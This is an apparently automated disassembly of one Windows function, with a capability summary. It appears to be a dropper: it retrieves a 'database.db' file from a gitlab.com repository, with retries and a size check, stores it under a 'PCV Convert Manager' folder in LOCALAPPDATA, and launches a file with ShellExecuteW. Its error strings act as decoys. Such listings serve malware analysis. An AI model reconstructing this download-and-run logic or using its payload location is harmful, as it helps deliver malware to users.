Function at 0x4536a0
Capabilities:
Check if file exists
Create directory
Create process on windows
Create thread
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x706ccf
mov eax, dword fs:[0]
push eax
sub esp, 0x75c
mov eax, dword [0x7c2580]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 1
mov dword [0x7cad24], eax
call fcn.006d684e
mov dword [ebp - 0x644], eax
lea ecx, [ebp - 0x6c8]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x461330
push 0
push 0
call fcn.006dcfd0
add esp, 0x1c
mov dword [ebp - 0x6cc], eax
test eax, eax
je 0x4548a2
push 0xffffffffffffffff
mov dword [ebp - 4], 1
push dword [0x7cad24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [0x7cad20], 0
jne 0x453742
push 0
call fcn.006dc46e
xorps xmm0, xmm0
mov dword [ebp - 0x64c], 0
movq qword [ebp - 0x654], xmm0
push 0x30023
mov dword [ebp - 0x654], 0
mov dword [ebp - 0x650], 0
mov dword [ebp - 0x64c], 0
call fcn.006d684e
add esp, 4
test eax, eax
je 0x453edc
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
push 0x30000
push 0
push ecx
mov dword [ecx - 4], eax
lea esi, [ecx + 0x30000]
mov dword [ebp - 0x654], ecx
mov dword [ebp - 0x64c], esi
call fcn.006d8cf0
add esp, 0xc
mov dword [ebp - 0x650], esi
xor esi, esi
mov byte [ebp - 4], 2
xor ecx, ecx
mov eax, dword [ebp - 0x654]
xor edx, edx
movd xmm1, esi
mov edi, eax
cvtdq2ps xmm1, xmm1
movd xmm0, edx
cvtdq2ps xmm0, xmm0
movss dword [ecx + eax], xmm0
mov eax, dword [ebp - 0x654]
movss dword [ecx + eax + 4], xmm1
lea eax, [edx + esi]
movd xmm0, eax
inc edx
cvtdq2ps xmm0, xmm0
movss dword [ecx + edi + 8], xmm0
add ecx, 0xc
cmp edx, 0x80
jge 0x453810
mov eax, dword [ebp - 0x654]
jmp 0x4537d4
inc esi
cmp ecx, 0x30000
jl 0x4537c3
xorps xmm0, xmm0
mov dword [ebp - 0x664], 0
movq qword [ebp - 0x66c], xmm0
push 0x30023
mov dword [ebp - 0x66c], 0
mov dword [ebp - 0x668], 0
mov dword [ebp - 0x664], 0
call fcn.006d684e
add esp, 4
test eax, eax
je 0x453edc
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
push 0x30000
push 0
push ecx
mov dword [ecx - 4], eax
lea esi, [ecx + 0x30000]
mov dword [ebp - 0x66c], ecx
mov dword [ebp - 0x664], esi
call fcn.006d8cf0
add esp, 0xc
mov dword [ebp - 0x668], esi
lea eax, [ebp - 0x644]
mov byte [ebp - 4], 3
movsd xmm0, qword [0x7b3b40]
push eax
push 0x30000
push dword [ebp - 0x66c]
mov dword [ebp - 0x644], 0
sub esp, 8
movsd qword [esp], xmm0
push 0
push 0
push 3
push 0x80
push 0x80
push 1
push 6
push dword [ebp - 0x654]
call fcn.004a7610
push 0x30023
call fcn.006d684e
add esp, 0x38
test eax, eax
je 0x453edc
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
push 0x30000
push 0
push ecx
mov dword [ecx - 4], eax
lea eax, [ecx + 0x30000]
mov dword [ebp - 0x634], ecx
mov dword [ebp - 0x62c], eax
call fcn.006d8cf0
push dword [ebp - 0x634]
push 6
push 3
push 0x80
push 0x80
push 1
push 0
push 0
push dword [ebp - 0x644]
push dword [ebp - 0x66c]
call fcn.004a7580
mov ecx, dword [ebp - 0x634]
add esp, 0x34
test ecx, ecx
je 0x4539ae
mov eax, dword [ebp - 0x62c]
sub eax, ecx
sar eax, 2
lea edx, [eax*4]
mov eax, ecx
cmp edx, 0x1000
jb 0x453986
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push edx
push ecx
call fcn.006d6ad4
add esp, 8
mov dword [ebp - 0x634], 0
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x66c]
test ecx, ecx
je 0x453a0a
mov edx, dword [ebp - 0x664]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4539e2
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push edx
push ecx
call fcn.006d6ad4
add esp, 8
mov dword [ebp - 0x66c], 0
mov dword [ebp - 0x668], 0
mov dword [ebp - 0x664], 0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x654]
test ecx, ecx
je 0x453a52
mov eax, dword [ebp - 0x64c]
sub eax, ecx
sar eax, 2
lea edx, [eax*4]
mov eax, ecx
cmp edx, 0x1000
jb 0x453a48
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push edx
push ecx
call fcn.006d6ad4
add esp, 8
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x73c], 0
push str.https:__
lea ecx, [ebp - 0x74c]
mov dword [ebp - 0x738], 0
movups xmmword [ebp - 0x74c], xmm0
call fcn.0045e210
mov byte [ebp - 4], 4
call fcn.00453570
mov edx, eax
mov dword [ebp - 0x724], 0
mov ecx, edx
mov dword [ebp - 0x720], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x734], xmm0
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x453ab0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x734]
call fcn.0045dde0
mov byte [ebp - 4], 5
xor esi, esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax + eax]
push 0x50
lea eax, [ebp - 0x71c]
push 0
push eax
call fcn.006d8cf0
add esp, 0xc
lea ecx, [ebp - 0x71c]
call fcn.00457290
mov byte [ebp - 4], 6
mov eax, 0x7b32ec
cmp word [0x7b32ec], 0
je 0x453b1a
add eax, 2
cmp word [eax], 0
jne 0x453b11
push eax
push 0x7b32ec
lea eax, [ebp - 0x6ac]
push eax
lea ecx, [ebp - 0x71c]
call fcn.0045a4f0
lea ecx, [ebp - 0x71c]
call fcn.004571d0
push 0x50
lea eax, [ebp - 0x71c]
mov byte [ebp - 4], 7
push 0
push eax
call fcn.006d8cf0
add esp, 0xc
lea ecx, [ebp - 0x71c]
call fcn.00457290
mov byte [ebp - 4], 8
mov eax, str._download_9_3_F_93FCF1E7_E6A4_478B_96E7_D4B285925B00_vc_redist.x64.exe
cmp word [str._download_9_3_F_93FCF1E7_E6A4_478B_96E7_D4B285925B00_vc_redist.x64.exe], 0
je 0x453b7b
add eax, 2
cmp word [eax], 0
jne 0x453b72
push eax
push str._download_9_3_F_93FCF1E7_E6A4_478B_96E7_D4B285925B00_vc_redist.x64.exe
lea eax, [ebp - 0x678]
push eax
lea ecx, [ebp - 0x71c]
call fcn.0045a4f0
lea ecx, [ebp - 0x71c]
call fcn.004571d0
lea eax, [ebp - 0x6ac]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0x74c]
lea ecx, [ebp - 0x660]
call fcn.0045c7d0
lea ecx, [ebp - 0x678]
mov byte [ebp - 4], 0xa
push ecx
mov edx, eax
lea ecx, [ebp - 0x640]
call fcn.0045c900
add esp, 8
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x64c]
cmp ecx, 0xf
jbe 0x453c13
mov edx, dword [ebp - 0x660]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x453c09
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push ecx
push edx
call fcn.006d6ad4
add esp, 8
lea eax, [ebp - 0x734]
mov dword [ebp - 0x650], 0
push eax
lea ecx, [ebp - 0x768]
mov dword [ebp - 0x64c], 0xf
mov byte [ebp - 0x660], 0
call fcn.00458210
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x640]
call fcn.00452a70
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x754]
cmp ecx, 7
jbe 0x453c95
mov edx, dword [ebp - 0x768]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x453c8b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push ecx
push edx
call fcn.006d6ad4
add esp, 8
mov byte [ebp - 0x644], 0
lea edx, [ebp - 0x734]
push dword [ebp - 0x644]
lea ecx, [ebp - 0x768]
call fcn.00460c20
add esp, 4
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0xe
call fcn.0044ecc0
test edx, edx
jne 0x453cd6
mov byte [ebp - 0x74d], dl
cmp eax, 0x80000
jbe 0x453cdd
mov byte [ebp - 0x74d], 1
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x754]
cmp ecx, 7
jbe 0x453d21
mov edx, dword [ebp - 0x768]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x453d17
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push ecx
push edx
call fcn.006d6ad4
add esp, 8
cmp byte [ebp - 0x74d], 0
jne 0x453e19
push 0x4e20
call edi
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x62c]
cmp ecx, 0xf
jbe 0x453d73
mov edx, dword [ebp - 0x640]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x453d69
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push ecx
push edx
call fcn.006d6ad4
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x664]
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 0xf
mov byte [ebp - 0x640], 0
cmp ecx, 0xf
jbe 0x453dcc
mov edx, dword [ebp - 0x678]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x453dc2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push ecx
push edx
call fcn.006d6ad4
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x698]
cmp ecx, 0xf
jbe 0x453e0a
mov edx, dword [ebp - 0x6ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x453e00
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push ecx
push edx
call fcn.006d6ad4
add esp, 8
inc esi
cmp esi, 5
jl 0x453ae0
jmp 0x453eeb
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x62c]
cmp ecx, 0xf
jbe 0x453e57
mov edx, dword [ebp - 0x640]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x453e4d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push ecx
push edx
call fcn.006d6ad4
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x664]
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 0xf
mov byte [ebp - 0x640], 0
cmp ecx, 0xf
jbe 0x453eac
mov edx, dword [ebp - 0x678]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x453ea2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push ecx
push edx
call fcn.006d6ad4
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x698]
cmp ecx, 0xf
jbe 0x453eeb
mov edx, dword [ebp - 0x6ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x453ee1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x453ee1
call fcn.006e38ad
push ecx
push edx
call fcn.006d6ad4
add esp, 8
lea eax, [ebp - 0x628]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x453f05
xor esi, esi
jmp 0x453f51
lea eax, [ebp - 0x218]
push eax
push 0
push 0x7b355c
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x453f28
xor esi, esi
jmp 0x453f51
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
add eax, eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x218]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, esi
mov dword [ebp - 0x6b4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x6b0], 0
movups xmmword [ebp - 0x6c4], xmm0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x453f74
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x6c4]
call fcn.0045dde0
mov byte [ebp - 4], 0xf
xor esi, esi
push 0x50
lea eax, [ebp - 0x71c]
push 0
push eax
call fcn.006d8cf0
add esp, 0xc
lea ecx, [ebp - 0x71c]
call fcn.00457290
mov byte [ebp - 4], 0x10
mov eax, str.gitlab.com
cmp word [str.gitlab.com], 0
je 0x453fd0
add eax, 2
cmp word [eax], 0
jne 0x453fc7
push eax
push str.gitlab.com
lea eax, [ebp - 0x678]
push eax
lea ecx, [ebp - 0x71c]
call fcn.0045a4f0
lea ecx, [ebp - 0x71c]
call fcn.004571d0
push 0x50
lea eax, [ebp - 0x71c]
mov byte [ebp - 4], 0x11
push 0
push eax
call fcn.006d8cf0
add esp, 0xc
lea ecx, [ebp - 0x71c]
call fcn.00457290
mov byte [ebp - 4], 0x12
mov eax, str._mauigraphics_uiexplorer___raw_main_database.db
cmp word [str._mauigraphics_uiexplorer___raw_main_database.db], 0
je 0x454039
nop dword [eax + eax]
add eax, 2
cmp word [eax], 0
jne 0x454030
push eax
push str._mauigraphics_uiexplorer___raw_main_database.db
lea eax, [ebp - 0x660]
push eax
lea ecx, [ebp - 0x71c]
call fcn.0045a4f0
lea ecx, [ebp - 0x71c]
call fcn.004571d0
lea eax, [ebp - 0x678]
mov byte [ebp - 4], 0x13
push eax
lea edx, [ebp - 0x74c]
lea ecx, [ebp - 0x6ac]
call fcn.0045c7d0
lea ecx, [ebp - 0x660]
mov byte [ebp - 4], 0x14
push ecx
mov edx, eax
lea ecx, [ebp - 0x640]
call fcn.0045c900
add esp, 8
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x698]
cmp ecx, 0xf
jbe 0x4540d1
mov edx, dword [ebp - 0x6ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4540c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push ecx
push edx
call fcn.006d6ad4
add esp, 8
lea eax, [ebp - 0x6c4]
mov dword [ebp - 0x69c], 0
push eax
lea ecx, [ebp - 0x768]
mov dword [ebp - 0x698], 0xf
mov byte [ebp - 0x6ac], 0
call fcn.00458210
mov edx, eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x640]
call fcn.00452a70
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x754]
cmp ecx, 7
jbe 0x454153
mov edx, dword [ebp - 0x768]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x454149
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push ecx
push edx
call fcn.006d6ad4
add esp, 8
mov byte [ebp - 0x644], 0
lea edx, [ebp - 0x6c4]
push dword [ebp - 0x644]
lea ecx, [ebp - 0x768]
call fcn.00460c20
add esp, 4
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x18
call fcn.0044ecc0
test edx, edx
jne 0x454194
mov byte [ebp - 0x74d], dl
cmp eax, 0x80000
jbe 0x45419b
mov byte [ebp - 0x74d], 1
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x754]
cmp ecx, 7
jbe 0x4541df
mov edx, dword [ebp - 0x768]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4541d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453edc
push ecx
push edx
call fcn.006d6ad4
add esp, 8
cmp byte [ebp - 0x74d], 0
jne 0x4542d7
push 0x4e20
call edi
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x62c]
cmp ecx, 0xf
jbe 0x454231
mov edx, dword [ebp - 0x640]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454227
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45439a
push ecx
push edx
call fcn.006d6ad4
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x64c]
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 0xf
mov byte [ebp - 0x640], 0
cmp ecx, 0xf
jbe 0x45428a
mov edx, dword [ebp - 0x660]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454280
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45439a
push ecx
push edx
call fcn.006d6ad4
add esp, 8
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x664]
cmp ecx, 0xf
jbe 0x4542c8
mov edx, dword [ebp - 0x678]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4542be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45439a
push ecx
push edx
call fcn.006d6ad4
add esp, 8
inc esi
cmp esi, 5
jl 0x453f96
jmp 0x4543a9
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x62c]
cmp ecx, 0xf
jbe 0x454315
mov edx, dword [ebp - 0x640]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45430b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45439a
push ecx
push edx
call fcn.006d6ad4
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x64c]
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x62c], 0xf
mov byte [ebp - 0x640], 0
cmp ecx, 0xf
jbe 0x45436a
mov edx, dword [ebp - 0x660]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454360
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45439a
push ecx
push edx
call fcn.006d6ad4
add esp, 8
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x664]
cmp ecx, 0xf
jbe 0x4543a9
mov edx, dword [ebp - 0x678]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45439f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45439f
call fcn.006e38ad
push ecx
push edx
call fcn.006d6ad4
add esp, 8
push 0x104
lea eax, [ebp - 0x420]
push eax
push str.LOCALAPPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xorps xmm0, xmm0
mov dword [ebp - 0x684], 0
lea ecx, [ebp - 0x420]
mov dword [ebp - 0x680], 0
movups xmmword [ebp - 0x694], xmm0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4543e7
sub ecx, edx
lea eax, [ebp - 0x420]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x694]
call fcn.0045dde0
push str.Programs
lea ecx, [ebp - 0x694]
mov byte [ebp - 4], 0x19
call fcn.0045af30
cmp dword [ebp - 0x680], 7
lea eax, [ebp - 0x694]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmova eax, dword [ebp - 0x694]
push 0
push eax
call esi
push 0x7b34a0
lea ecx, [ebp - 0x694]
call fcn.0045af30
push str.PCV_Convert_Manager
lea ecx, [ebp - 0x694]
call fcn.0045af30
cmp dword [ebp - 0x680], 7
lea eax, [ebp - 0x694]
push 0
cmova eax, dword [ebp - 0x694]
push eax
call esi
cmp dword [ebp - 0x680], 7
lea eax, [ebp - 0x694]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmova eax, dword [ebp - 0x694]
push eax
call edi
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
test eax, eax
jne 0x4544ac
push 0x10
push str.Error
push str.Error_creating_working_directory
push 0
call esi
push 0xb0
lea eax, [ebp - 0xc0]
push 0
push eax
call fcn.006d8cf0
cmp dword [ebp - 0x6b0], 7
lea eax, [ebp - 0x6c4]
lea ecx, [ebp - 0xc0]
cmova eax, dword [ebp - 0x6c4]
push eax
call fcn.0045a160
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], 0x7b3b38
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc4], eax
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x70], 0
jne 0x45458a
mov edx, str.Error:_Could_not_open_the_file.
mov ecx, 0x7c9e58
call fcn.0045d070
push eax
call fcn.0045d330
mov eax, dword [ebp - 0xc0]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], 0x7b3b38
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc4], eax
lea ecx, [ebp - 0xbc]
call fcn.00456530
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xc4], eax
mov byte [ebp - 4], 0x1b
jmp 0x45466c
sub esp, 0x18
lea ecx, [ebp - 0xc0]
mov eax, esp
xorps xmm0, xmm0
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
movq qword [eax + 0x10], xmm0
call fcn.004568a0
push 0x37
lea ecx, [ebp - 0xc0]
call fcn.00456a20
push 0x7a
lea ecx, [ebp - 0xc0]
call fcn.00456a20
lea ecx, [ebp - 0xbc]
call fcn.0045a070
test eax, eax
jne 0x45460f
mov eax, dword [ebp - 0xc0]
lea ecx, [ebp - 0xc0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.0044e090
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], 0x7b3b38
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc4], eax
lea ecx, [ebp - 0xbc]
call fcn.00456530
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xc4], eax
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], vtable.std::ios_base.0
push eax
call fcn.006c2b14
add esp, 4
mov byte [ebp - 4], 0x19
lea edx, [ebp - 0x694]
lea ecx, [ebp - 0x6c4]
call fcn.00452ec0
push 6
xorps xmm0, xmm0
mov dword [ebp - 0x630], 0
push str.conv
lea ecx, [ebp - 0x640]
mov dword [ebp - 0x62c], 0
movups xmmword [ebp - 0x640], xmm0
call fcn.0045dde0
lea eax, [ebp - 0x640]
mov byte [ebp - 4], 0x1d
push eax
lea edx, [ebp - 0x694]
lea ecx, [ebp - 0x6ac]
call fcn.004527a0
add esp, 4
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x62c]
cmp ecx, 7
jbe 0x454728
mov edx, dword [ebp - 0x640]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x45471e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45471e
call fcn.006e38ad
push ecx
push edx
call fcn.006d6ad4
add esp, 8
cmp dword [ebp - 0x698], 7
lea eax, [ebp - 0x6ac]
cmova eax, dword [ebp - 0x6ac]
push eax
call edi
test eax, eax
jne 0x454871
push 0x10
push str.Error
push str.Error_finding_final_localization_file
push eax
call esi
push ecx
lea ecx, [ebp - 0x6f4]
call fcn.00454c10
push 0
push 0
push 1
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x67c]
call fcn.004526d0
lea ecx, [ebp - 0x648]
mov esi, eax
call fcn.0044ced0
push eax
push 0x7b35f4
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x20
call fcn.006a42b0
push 0x20
push 0x258
push 0x320
lea ecx, [ebp - 0x634]
mov byte [ebp - 4], 0x21
call fcn.006a5d50
push esi
push 7
lea ecx, [ebp - 0x768]
movq xmm0, qword [eax]
mov eax, dword [eax + 8]
push ecx
sub esp, 0xc
mov ecx, esp
movq qword [ecx], xmm0
mov dword [ecx + 8], eax
lea ecx, [ebp - 0x6f4]
call fcn.006a4c70
lea ecx, [ebp - 0x768]
call fcn.00454bb0
lea ecx, [ebp - 0x648]
mov byte [ebp - 4], 0x24
call fcn.0044cf20
lea ecx, [ebp - 0x6f4]
call fcn.006a5400
test al, al
je 0x45485f
nop dword [eax]
lea eax, [ebp - 0x65c]
push eax
lea ecx, [ebp - 0x6f4]
call fcn.006a5410
test al, al
je 0x454850
cmp dword [ebp - 0x65c], 0
jne 0x45483a
lea ecx, [ebp - 0x6f4]
call fcn.006a4e20
lea eax, [ebp - 0x65c]
push eax
lea ecx, [ebp - 0x6f4]
call fcn.006a5410
test al, al
jne 0x454826
lea ecx, [ebp - 0x6f4]
call fcn.006a5400
test al, al
jne 0x454810
lea ecx, [ebp - 0x6f4]
call fcn.006a4d20
push 0
call fcn.006dc46e
push 5
push 0
push 0
lea ecx, [ebp - 0x6ac]
call fcn.00458140
push eax
push 0x7b35f8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x6ac]
call fcn.0044e3b0
push 0
call fcn.006dc46e
push 6
mov dword [ebp - 0x6c8], 0
call fcn.006c0389
int3